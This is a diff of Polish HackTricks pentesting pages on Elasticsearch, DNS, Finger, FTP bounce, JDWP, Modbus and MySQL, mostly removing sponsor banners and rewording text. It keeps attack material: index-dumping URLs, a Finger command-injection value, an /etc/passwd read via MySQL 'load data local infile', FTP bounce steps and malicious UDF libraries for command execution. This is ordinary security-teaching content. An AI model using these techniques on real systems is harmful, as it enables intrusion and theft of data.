- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 38ac2a7f8..880dd073c 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -2,25 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Podstawowe informacje -Elasticsearch to **rozproszony**, **otwarty** silnik wyszukiwania i analizy dla **wszystkich typów danych**. Jest znany z **szybkości**, **skalowalności** i **prosty REST API**. Zbudowany na Apache Lucene, został po raz pierwszy wydany w 2010 roku przez Elasticsearch N.V. (obecnie znany jako Elastic). Elasticsearch jest podstawowym komponentem Elastic Stack, zbioru narzędzi open source do pobierania, wzbogacania, przechowywania, analizy i wizualizacji danych. Ten stos, powszechnie nazywany ELK Stack, obejmuje również Logstash i Kibana, a teraz ma lekkie agenty przesyłania danych zwane Beats. +Elasticsearch to **rozproszony**, **otwarty** silnik wyszukiwania i analizy dla **wszystkich typów danych**. Znany jest z **szybkości**, **skalowalności** i **prosty REST API**. Zbudowany na Apache Lucene, został po raz pierwszy wydany w 2010 roku przez Elasticsearch N.V. (obecnie znany jako Elastic). Elasticsearch jest podstawowym komponentem Elastic Stack, zbioru narzędzi open source do pobierania, wzbogacania, przechowywania, analizy i wizualizacji danych. Ten stos, powszechnie nazywany ELK Stack, obejmuje również Logstash i Kibana, a teraz ma lekkie agenty przesyłania danych zwane Beats. ### Czym jest indeks Elasticsearch? -Indeks Elasticsearch to **zbiór** **powiązanych dokumentów** przechowywanych jako **JSON**. Każdy dokument składa się z **kluczy** i odpowiadających im **wartości** (ciągi, liczby, wartości logiczne, daty, tablice, lokalizacje geograficzne itp.). +Indeks Elasticsearch to **zbiór powiązanych dokumentów** przechowywanych jako **JSON**. Każdy dokument składa się z **kluczy** i odpowiadających im **wartości** (ciągi, liczby, wartości logiczne, daty, tablice, geolokalizacje itp.). -Elasticsearch używa wydajnej struktury danych zwanej **indeksem odwróconym**, aby ułatwić szybkie wyszukiwanie pełnotekstowe. Ten indeks wymienia każde unikalne słowo w dokumentach i identyfikuje dokumenty, w których każde słowo się pojawia. +Elasticsearch używa efektywnej struktury danych zwanej **indeksem odwróconym**, aby ułatwić szybkie wyszukiwanie pełnotekstowe. Ten indeks wymienia każde unikalne słowo w dokumentach i identyfikuje dokumenty, w których każde słowo się pojawia. -Podczas procesu indeksowania Elasticsearch przechowuje dokumenty i konstruuje indeks odwrócony, co pozwala na wyszukiwanie w czasie bliskim rzeczywistemu. **API indeksu** jest używane do dodawania lub aktualizowania dokumentów JSON w określonym indeksie. +Podczas procesu indeksowania Elasticsearch przechowuje dokumenty i konstruuje indeks odwrócony, co pozwala na wyszukiwanie w niemal rzeczywistym czasie. **API indeksu** jest używane do dodawania lub aktualizowania dokumentów JSON w określonym indeksie. **Domyślny port**: 9200/tcp @@ -28,7 +20,7 @@ Podczas procesu indeksowania Elasticsearch przechowuje dokumenty i konstruuje in ### Baner -Protokół używany do uzyskania dostępu do Elasticsearch to **HTTP**. Gdy uzyskujesz do niego dostęp przez HTTP, znajdziesz interesujące informacje: `http://10.10.10.115:9200/` +Protokół używany do uzyskania dostępu do Elasticsearch to **HTTP**. Gdy uzyskasz do niego dostęp przez HTTP, znajdziesz interesujące informacje: `http://10.10.10.115:9200/` ![](<../images/image (294).png>) @@ -118,15 +110,15 @@ Jeśli chcesz **zrzucić wszystkie zawartości** indeksu, możesz uzyskać dost ![](<../images/image (914).png>) -_Poświęć chwilę na porównanie zawartości każdego dokumentu (wpisu) w indeksie bankowym oraz pól tego indeksu, które widzieliśmy w poprzedniej sekcji._ +_Poświęć chwilę, aby porównać zawartość każdego dokumentu (wpisu) w indeksie bankowym oraz pola tego indeksu, które widzieliśmy w poprzedniej sekcji._ Na tym etapie możesz zauważyć, że **istnieje pole o nazwie "total" wewnątrz "hits"**, które wskazuje, że **znaleziono 1000 dokumentów** w tym indeksie, ale tylko 10 zostało zwróconych. Dzieje się tak, ponieważ **domyślnie istnieje limit 10 dokumentów**.\ Jednak teraz, gdy wiesz, że **ten indeks zawiera 1000 dokumentów**, możesz **zrzucić wszystkie z nich**, wskazując liczbę wpisów, które chcesz zrzucić w parametrze **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Uwaga: Jeśli wskażesz większą liczbę, wszystkie wpisy zostaną zrzucane, na przykład możesz wskazać `size=9999`, a będzie to dziwne, jeśli byłoby więcej wpisów (ale powinieneś to sprawdzić)._ +\&#xNAN;_Uwaga: Jeśli wskażesz większą liczbę, wszystkie wpisy i tak zostaną zrzucane, na przykład możesz wskazać `size=9999`, a będzie to dziwne, jeśli byłoby więcej wpisów (ale powinieneś to sprawdzić)._ ### Zrzut wszystkich -Aby zrzucić wszystko, możesz po prostu przejść do **tej samej ścieżki co wcześniej, ale bez wskazywania jakiegoś indeksu** `http://host:9200/_search?pretty=true` jak `http://10.10.10.115:9200/_search?pretty=true`\ +Aby zrzucić wszystko, możesz po prostu przejść do **tego samego adresu co wcześniej, ale bez wskazywania jakiegoś indeksu** `http://host:9200/_search?pretty=true` jak `http://10.10.10.115:9200/_search?pretty=true`\ Pamiętaj, że w tym przypadku zostanie zastosowany **domyślny limit 10** wyników. Możesz użyć parametru `size`, aby zrzucić **większą ilość wyników**. Przeczytaj poprzednią sekcję, aby uzyskać więcej informacji. ### Wyszukiwanie @@ -165,7 +157,7 @@ I zwróć uwagę na **automatycznie utworzone właściwości**: ## Automatyczna enumeracja -Niektóre narzędzia uzyskają część danych przedstawionych wcześniej: +Niektóre narzędzia uzyskają niektóre z danych przedstawionych wcześniej: ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` @@ -175,12 +167,5 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum - `port:9200 elasticsearch` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 86108fee9..b3b1327c0 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Podstawowe informacje** -**System nazw domen (DNS)** działa jako katalog internetu, umożliwiając użytkownikom dostęp do stron internetowych za pomocą **łatwych do zapamiętania nazw domen** takich jak google.com czy facebook.com, zamiast numerycznych adresów Internet Protocol (IP). Tłumacząc nazwy domen na adresy IP, DNS zapewnia, że przeglądarki internetowe mogą szybko ładować zasoby internetowe, upraszczając sposób, w jaki poruszamy się po świecie online. +**System nazw domen (DNS)** działa jako katalog internetu, umożliwiając użytkownikom dostęp do stron internetowych za pomocą **łatwych do zapamiętania nazw domen** takich jak google.com czy facebook.com, zamiast numerycznych adresów protokołu internetowego (IP). Tłumacząc nazwy domen na adresy IP, DNS zapewnia szybkie ładowanie zasobów internetowych przez przeglądarki, upraszczając sposób, w jaki poruszamy się po świecie online. **Domyślny port:** 53 ``` @@ -23,12 +16,12 @@ PORT STATE SERVICE REASON ``` ### Różne serwery DNS -- **Serwery główne DNS**: Są na szczycie hierarchii DNS, zarządzają domenami najwyższego poziomu i interweniują tylko wtedy, gdy serwery niższego poziomu nie odpowiadają. Internetowa Korporacja ds. Nadawania Nazw i Numerów (**ICANN**) nadzoruje ich działanie, a ich globalna liczba wynosi 13. +- **Serwery główne DNS**: Są na szczycie hierarchii DNS, zarządzają domenami najwyższego poziomu i wkraczają tylko wtedy, gdy serwery niższego poziomu nie odpowiadają. Internetowa Korporacja ds. Nadawania Nazw i Numerów (**ICANN**) nadzoruje ich działanie, a ich globalna liczba wynosi 13. - **Autorytatywne serwery nazw**: Te serwery mają ostateczne zdanie w sprawie zapytań w swoich wyznaczonych strefach, oferując definitywne odpowiedzi. Jeśli nie mogą udzielić odpowiedzi, zapytanie jest eskalowane do serwerów głównych. - **Nieautorytatywne serwery nazw**: Nie mając własności nad strefami DNS, te serwery zbierają informacje o domenach poprzez zapytania do innych serwerów. -- **Serwer pamięci podręcznej DNS**: Ten typ serwera zapamiętuje wcześniejsze odpowiedzi na zapytania przez określony czas, aby przyspieszyć czasy odpowiedzi na przyszłe żądania, a czas przechowywania w pamięci podręcznej jest określany przez serwer autorytatywny. +- **Serwer pamięci podręcznej DNS**: Ten typ serwera zapamiętuje wcześniejsze odpowiedzi na zapytania przez określony czas, aby przyspieszyć czasy odpowiedzi na przyszłe żądania, przy czym czas przechowywania w pamięci podręcznej jest określany przez serwer autorytatywny. - **Serwer przekazujący**: Pełniąc prostą rolę, serwery przekazujące po prostu przekazują zapytania do innego serwera. -- **Resolver**: Zintegrowany w komputerach lub routerach, resolvery wykonują lokalnie rozwiązywanie nazw i nie są uważane za autorytatywne. +- **Resolver**: Zintegrowane w komputerach lub routerach, resolvery wykonują lokalne rozwiązywanie nazw i nie są uważane za autorytatywne. ## Enumeracja @@ -156,21 +149,14 @@ dig google.com A @ ![](<../images/image (146).png>) -
-**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** +### E-mail do nieistniejącego konta -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -### Mail do nieistniejącego konta - -**Wysłanie e-maila na nieistniejący adres** przy użyciu domeny ofiary może spowodować, że ofiara wyśle powiadomienie o niedostarczeniu (NDN), którego **nagłówki** mogą zawierać interesujące informacje, takie jak **nazwy wewnętrznych serwerów i adresy IP**. +**Wysłanie e-maila na nieistniejący adres** przy użyciu domeny ofiary może spowodować, że ofiara wyśle powiadomienie o niedostarczeniu (NDN), którego **nagłówki** mogą zawierać interesujące informacje, takie jak **nazwy serwerów wewnętrznych i adresy IP**. ## Post-eksploatacja -- Sprawdzając konfigurację serwera Bind, sprawdź konfigurację parametru **`allow-transfer`**, ponieważ wskazuje on, kto może przeprowadzać transfery stref, oraz **`allow-recursion`** i **`allow-query`**, ponieważ wskazują, kto może wysyłać zapytania rekurencyjne i zapytania do niego. +- Sprawdzając konfigurację serwera Bind, sprawdź konfigurację parametru **`allow-transfer`**, ponieważ wskazuje, kto może przeprowadzać transfery stref, oraz **`allow-recursion`** i **`allow-query`**, ponieważ wskazują, kto może wysyłać zapytania rekurencyjne i zapytania do niego. - Poniżej znajdują się nazwy plików związanych z DNS, które mogą być interesujące do przeszukania w maszynach: ``` host.conf @@ -239,12 +225,4 @@ Description: DNS enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-finger.md b/src/network-services-pentesting/pentesting-finger.md index 5e06364cb..e21bdbca4 100644 --- a/src/network-services-pentesting/pentesting-finger.md +++ b/src/network-services-pentesting/pentesting-finger.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz wykorzystaj zautomatyzowane exploity do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Podstawowe informacje** -Program/usługa **Finger** jest wykorzystywana do uzyskiwania szczegółów o użytkownikach komputerów. Zazwyczaj dostarczane informacje obejmują **nazwę logowania użytkownika, pełne imię i nazwisko**, a w niektórych przypadkach dodatkowe szczegóły. Te dodatkowe informacje mogą obejmować lokalizację biura i numer telefonu (jeśli dostępne), czas logowania użytkownika, okres bezczynności (czas bezczynności), ostatni moment, w którym użytkownik przeczytał wiadomość e-mail, oraz zawartość planów i plików projektowych użytkownika. +Program/usługa **Finger** jest wykorzystywana do uzyskiwania szczegółów o użytkownikach komputerów. Zazwyczaj dostarczane informacje obejmują **nazwę logowania użytkownika, pełne imię i nazwisko**, a w niektórych przypadkach dodatkowe szczegóły. Te dodatkowe informacje mogą obejmować lokalizację biura i numer telefonu (jeśli dostępne), czas, w którym użytkownik się zalogował, okres bezczynności (czas bezczynności), ostatni moment, w którym użytkownik przeczytał wiadomość e-mail, oraz zawartość plików planów i projektów użytkownika. **Domyślny port:** 79 ``` @@ -60,12 +53,4 @@ finger "|/bin/ls -a /@example.com" finger user@host@victim finger @internal@external ``` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md index e3cb26ac1..e3dbafb48 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md @@ -1,29 +1,21 @@ {{#include ../../banners/hacktricks-training.md}} -
+# Resume -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** +Jeśli masz dostęp do serwera FTP z odbiciem, możesz sprawić, aby zażądał plików z innego serwera FTP \(gdzie znasz jakieś dane uwierzytelniające\) i pobrać ten plik na swój własny serwer. -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -# Podsumowanie - -Jeśli masz dostęp do serwera FTP z odbiciem, możesz sprawić, że poprosi on o pliki z innego serwera FTP \(gdzie znasz jakieś dane uwierzytelniające\) i pobrać ten plik na swój własny serwer. - -## Wymagania +## Requirements - Ważne dane uwierzytelniające FTP na serwerze FTP Middle - Ważne dane uwierzytelniające FTP na serwerze FTP ofiary - Oba serwery akceptują polecenie PORT \(atak FTP z odbiciem\) -- Możesz pisać w niektórym katalogu serwera FRP Middle +- Możesz pisać w niektórym katalogu serwera FTP Middle - Serwer pośredni będzie miał większy dostęp do serwera FTP ofiary niż ty z jakiegoś powodu \(to jest to, co zamierzasz wykorzystać\) -## Kroki +## Steps 1. Połącz się ze swoim własnym serwerem FTP i ustaw połączenie w trybie pasywnym \(polecenie pasv\), aby nasłuchiwał w katalogu, do którego usługa ofiary wyśle plik -2. Przygotuj plik, który ma być wysłany przez serwer FTP Middle do serwera ofiary \(eksploit\). Ten plik będzie tekstem zwykłym z potrzebnymi poleceniami do uwierzytelnienia się na serwerze ofiary, zmiany katalogu i pobrania pliku na swój własny serwer. +2. Przygotuj plik, który serwer FTP Middle wyśle do serwera ofiary \(eksploit\). Ten plik będzie zawierał tekst z potrzebnymi poleceniami do uwierzytelnienia się na serwerze ofiary, zmiany katalogu i pobrania pliku na swój własny serwer. 3. Połącz się z serwerem FTP Middle i prześlij poprzedni plik 4. Spraw, aby serwer FTP Middle nawiązał połączenie z serwerem ofiary i wysłał plik eksploitu 5. Przechwyć plik na swoim własnym serwerze FTP @@ -31,12 +23,4 @@ Jeśli masz dostęp do serwera FTP z odbiciem, możesz sprawić, że poprosi on Aby uzyskać bardziej szczegółowe informacje, sprawdź post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) -
- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md index b9cc7ca78..2d640de24 100644 --- a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Wykorzystywanie -Wykorzystywanie JDWP opiera się na **braku uwierzytelniania i szyfrowania w protokole**. Zwykle znajduje się na **porcie 8000**, ale możliwe są inne porty. Początkowe połączenie nawiązywane jest poprzez wysłanie "JDWP-Handshake" do docelowego portu. Jeśli usługa JDWP jest aktywna, odpowiada tym samym ciągiem, potwierdzając swoją obecność. Ten handshake działa jako metoda identyfikacji do rozpoznawania usług JDWP w sieci. +Wykorzystanie JDWP opiera się na **braku uwierzytelniania i szyfrowania** protokołu. Zwykle znajduje się na **porcie 8000**, ale możliwe są inne porty. Początkowe połączenie nawiązywane jest poprzez wysłanie "JDWP-Handshake" do docelowego portu. Jeśli usługa JDWP jest aktywna, odpowiada tym samym ciągiem, potwierdzając swoją obecność. Ten handshake działa jako metoda identyfikacji do rozpoznawania usług JDWP w sieci. Jeśli chodzi o identyfikację procesów, wyszukiwanie ciągu "jdwk" w procesach Java może wskazywać na aktywną sesję JDWP. @@ -26,12 +19,12 @@ Zauważyłem, że użycie `--break-on 'java.lang.String.indexOf'` sprawia, że e ## Więcej szczegółów -**To jest podsumowanie [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Sprawdź to, aby uzyskać dalsze szczegóły. +**To jest podsumowanie [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Sprawdź to, aby uzyskać więcej szczegółów. 1. **Przegląd JDWP**: - To protokół binarny oparty na pakietach, głównie synchroniczny. -- Brak autoryzacji i szyfrowania, co czyni go podatnym na ataki w przypadku wystawienia na wrogie sieci. +- Brak autoryzacji i szyfrowania, co czyni go podatnym na ataki, gdy jest narażony na wrogie sieci. 2. **Uścisk dłoni JDWP**: @@ -70,12 +63,5 @@ Zauważyłem, że użycie `--break-on 'java.lang.String.indexOf'` sprawia, że e - [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) - [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html) -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-modbus.md b/src/network-services-pentesting/pentesting-modbus.md index 1975bd251..53e81d0d0 100644 --- a/src/network-services-pentesting/pentesting-modbus.md +++ b/src/network-services-pentesting/pentesting-modbus.md @@ -1,16 +1,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} # Podstawowe informacje -W 1979 roku opracowano **Protokół Modbus** przez Modicon, służący jako struktura komunikacyjna. Jego główne zastosowanie polega na ułatwieniu komunikacji między inteligentnymi urządzeniami, działającymi w modelu master-slave/client-server. Protokół ten odgrywa kluczową rolę w umożliwieniu urządzeniom efektywnej wymiany danych. +W 1979 roku opracowano **Protokół Modbus** przez Modicon, który służy jako struktura komunikacyjna. Jego główne zastosowanie polega na ułatwieniu komunikacji między inteligentnymi urządzeniami, działającymi w modelu master-slave/client-server. Protokół ten odgrywa kluczową rolę w umożliwieniu urządzeniom efektywnej wymiany danych. **Domyślny port:** 502 ``` diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index abdf08ce8..742205c8f 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -2,15 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie. - -{% embed url="https://www.rootedcon.com/" %} - ## **Podstawowe informacje** -**MySQL** można opisać jako otwartoźródłowy **System Zarządzania Relacyjnymi Bazami Danych (RDBMS)**, który jest dostępny bezpłatnie. Działa na **Języku Zapytania Strukturalnego (SQL)**, umożliwiając zarządzanie i manipulację bazami danych. +**MySQL** można opisać jako otwarte źródło **Systemu Zarządzania Relacyjnymi Bazami Danych (RDBMS)**, który jest dostępny bezpłatnie. Działa na **Języku Zapytania Strukturalnego (SQL)**, umożliwiając zarządzanie i manipulację bazami danych. **Domyślny port:** 3306 ``` @@ -117,8 +111,8 @@ Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: [https://dev.my ## MySQL dowolne odczytywanie plików przez klienta -W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** **zawartość pliku**, serwer MySQL lub MariaDB prosi **klienta o odczytanie go** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta mysql, aby połączył się z własnym serwerem MySQL, możesz odczytać dowolne pliki.**\ -Zauważ, że takie jest zachowanie przy użyciu: +W rzeczywistości, gdy próbujesz **załadować dane lokalnie do tabeli** z **zawartością pliku**, serwer MySQL lub MariaDB prosi **klienta o odczytanie go** i przesłanie zawartości. **Jeśli możesz zmanipulować klienta MySQL, aby połączył się z własnym serwerem MySQL, możesz odczytać dowolne pliki.**\ +Zauważ, że jest to zachowanie przy użyciu: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` @@ -135,11 +129,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ​ -
-​​[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa w każdej dziedzinie. - -{% embed url="https://www.rootedcon.com/" %} ## POST @@ -156,7 +146,7 @@ W konfiguracji usług MySQL stosuje się różne ustawienia do określenia ich d - Ustawienie **`user`** jest wykorzystywane do wyznaczenia użytkownika, pod którym będzie uruchamiana usługa MySQL. - **`password`** jest stosowane do ustalenia hasła powiązanego z użytkownikiem MySQL. -- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na interfejsie sieciowym administracyjnym. +- **`admin_address`** określa adres IP, który nasłuchuje połączeń TCP/IP na administracyjnym interfejsie sieciowym. - Zmienna **`debug`** wskazuje na obecne konfiguracje debugowania, w tym wrażliwe informacje w logach. - **`sql_warnings`** zarządza tym, czy generowane są ciągi informacyjne dla pojedynczych instrukcji INSERT, gdy pojawiają się ostrzeżenia, zawierające wrażliwe dane w logach. - Dzięki **`secure_file_priv`** zakres operacji importu i eksportu danych jest ograniczony w celu zwiększenia bezpieczeństwa. @@ -183,7 +173,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys Jeśli **serwer mysql działa jako root** (lub inny bardziej uprzywilejowany użytkownik), możesz sprawić, że wykona on polecenia. W tym celu musisz użyć **funkcji zdefiniowanych przez użytkownika**. Aby stworzyć funkcję zdefiniowaną przez użytkownika, będziesz potrzebować **biblioteki** dla systemu operacyjnego, na którym działa mysql. -Złośliwą bibliotekę, której należy użyć, można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to **biblioteki linux**, a pliki **`.dll`** to **biblioteki Windows**, wybierz tę, której potrzebujesz. +Złośliwą bibliotekę, której można użyć, można znaleźć w sqlmap i w metasploit, wykonując **`locate "*lib_mysqludf_sys*"`**. Pliki **`.so`** to **biblioteki linux**, a **`.dll`** to **biblioteki Windows**, wybierz tę, której 